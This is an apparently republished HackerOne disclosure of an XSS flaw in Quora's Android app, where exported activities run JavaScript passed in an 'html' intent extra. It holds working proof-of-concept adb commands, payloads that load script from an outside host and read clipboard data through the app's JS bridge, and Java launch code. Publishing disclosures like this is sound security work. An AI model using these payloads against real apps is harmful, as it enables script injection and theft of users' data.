HexBrain

Quora · Report #189793

[Android] XSS via start ContentActivity

Validstatus
lowseverity
50upvotes
5 Apr 2017disclosed

How it was found

Summary: XSS via start ContentActivity using 'html' parameter.

Description (Include Impact): Arbitrary applications on Android can run the exported activities ContentActivity, ModalContentActivity and ActionBarContentActivity. Using intent extra parameter html we can pass javascript, which will be executed in the context of www.quora.com.

Impact:

  • typical XSS on www.quora.com
  • access to QuoraAndroid JSBridge (for example, ClipboardData )
  • RCE on old Android <= 4.2 (see references)

Steps To Reproduce

Using ADB alert(123)

adb shell
am start -n com.quora.android/com.quora.android.ActionBarContentActivity -e url 'http://test/test' -e html 'XSS<script>alert(123)</script>'

Run script from external host

am start -n com.quora.android/com.quora.android.ActionBarContentActivity -e url 'http://test/test' -e html '<script src=//blackfan.ru></script>'
am start -n com.quora.android/com.quora.android.ContentActivity -e url 'http://test/test' -e html '<script src=//blackfan.ru></script>'
am start -n com.quora.android/com.quora.android.ModalContentActivity -e url 'http://test/test' -e html '<script src=//blackfan.ru></script>'

Access to ClipboardData

am start -n com.quora.android/com.quora.android.ModalContentActivity -e url 'http://test/test' -e html '<script>alert(QuoraAndroid.getClipboardData());</script>'

Using another app

Intent i = new Intent();
i.setComponent(new ComponentName("com.quora.android","com.quora.android.ActionBarContentActivity"));
i.putExtra("url","http://test/test");
i.putExtra("html","XSS PoC <script>alert(123)</script>");
startActivity(i);

Your Environment (Browser version, Device, app version, os version etc)

  • Nexus 5, Android 6.0.1

Supporting Material/References (Screenshots)

XSS {F142023}

Access to ClipboardData {F142024}

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original